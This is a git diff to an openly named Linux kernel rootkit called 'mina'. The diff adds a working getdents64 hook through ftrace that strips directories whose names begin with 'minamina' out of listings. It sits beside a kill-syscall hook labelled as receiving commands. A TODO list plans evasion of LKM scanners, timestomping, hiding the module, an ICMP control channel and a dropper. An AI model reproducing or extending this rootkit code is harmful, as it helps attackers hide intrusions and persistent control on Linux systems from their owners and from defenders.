diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -12,7 +12,6 @@
#define MAGIC_PID (1337)
-
#define HIDE_DIRNAME_STARTSWTIH ("mina")
// stealth.c
diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -1,11 +1,14 @@
#include <linux/delay.h>
+#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
+#include <linux/list.h>
#include <linux/module.h>
#include <linux/slab.h>
+#include <linux/uaccess.h>
#include <linux/version.h>
#include "../includes/mina.h"
@@ -46,13 +49,13 @@ timestomping might be necessary from the dropper
======================== TODO ==============================
-- write hook on directory listing to hide any directory i would like
- write hook on file listing to hide any file i would like (hook filldir)
- find a way to retrieve the module (if possible from memory, not relative path),
& add it to /usr/lib/modules/
- add /sys/modules/mina** from the listdir syscall
- timestomping /usr/lib/modules-load.d
- intercept TCP calls to read ICMP packets. REPL should be inside
+- hook insmod to avoid having LKM scanners
- write silly dropper
- write an ICMP client to interact with the rootkit
@@ -76,25 +79,61 @@ MODULE_VERSION("0.0.1");
/* ------=== DIR HOOK ===----- */
+#define HIDE_DIR "minamina"
+
static asmlinkage long (*original_getdents64)(const struct pt_regs *);
static asmlinkage long hook_getdents64(const struct pt_regs *regs) {
-
- /* if pattern-match mina** is respected, do not show the directory */
-
struct linux_dirent64 __user *user_dir = (struct linux_dirent64 __user *)regs->si;
+
struct linux_dirent64 *kernel_dir_buffer = NULL;
struct linux_dirent64 *current_entry = NULL;
struct linux_dirent64 *prev_entry = NULL;
- long error = 0;
+
unsigned long offset = 0;
- long result = 0;
+ long result = original_getdents64(regs);
+ if (result <= 0) {
+ return result;
+ }
+ kernel_dir_buffer = kmalloc(result, GFP_KERNEL);
+ if (!kernel_dir_buffer) {
+ return -ENOMEM;
+ }
-normalgetdents64:
- return original_getdents64(regs);
-}
+ if (copy_from_user(kernel_dir_buffer, user_dir, result) != 0) {
+ kfree(kernel_dir_buffer);
+ return -EFAULT;
+ }
+ while (offset < result) {
+ current_entry = (struct linux_dirent64 *)((char *)kernel_dir_buffer + offset);
+
+ if (strncmp(current_entry->d_name, HIDE_DIR, strlen(HIDE_DIR)) == 0) {
+ if (current_entry == kernel_dir_buffer) {
+ result -= current_entry->d_reclen;
+ memmove(kernel_dir_buffer, (char *)kernel_dir_buffer + current_entry->d_reclen, result);
+ continue;
+ }
+
+ if (prev_entry) {
+ prev_entry->d_reclen += current_entry->d_reclen;
+ }
+ } else {
+ prev_entry = current_entry;
+ }
+
+ offset += current_entry->d_reclen;
+ }
+
+ if (copy_to_user(user_dir, kernel_dir_buffer, result) != 0) {
+ kfree(kernel_dir_buffer);
+ return -EFAULT;
+ }
+
+ kfree(kernel_dir_buffer);
+ return result;
+}
/* ------=== KILL HOOK ===----- */
@@ -122,8 +161,8 @@ normalkill:
/* ------=== HOOKS DEFINITIONS ===----- */
static struct ftrace_hook hooks[] = {
- HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill), // receive commands from machine
- HOOK("__x64_sys_getdents64", hook_getdents64, &original_getdents64), // hide directories
+ HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill), // receive commands from machine
+ HOOK("__x64_sys_getdents64", hook_getdents64, &original_getdents64), // hide directories
};
/* --------------------------------------------- */
| |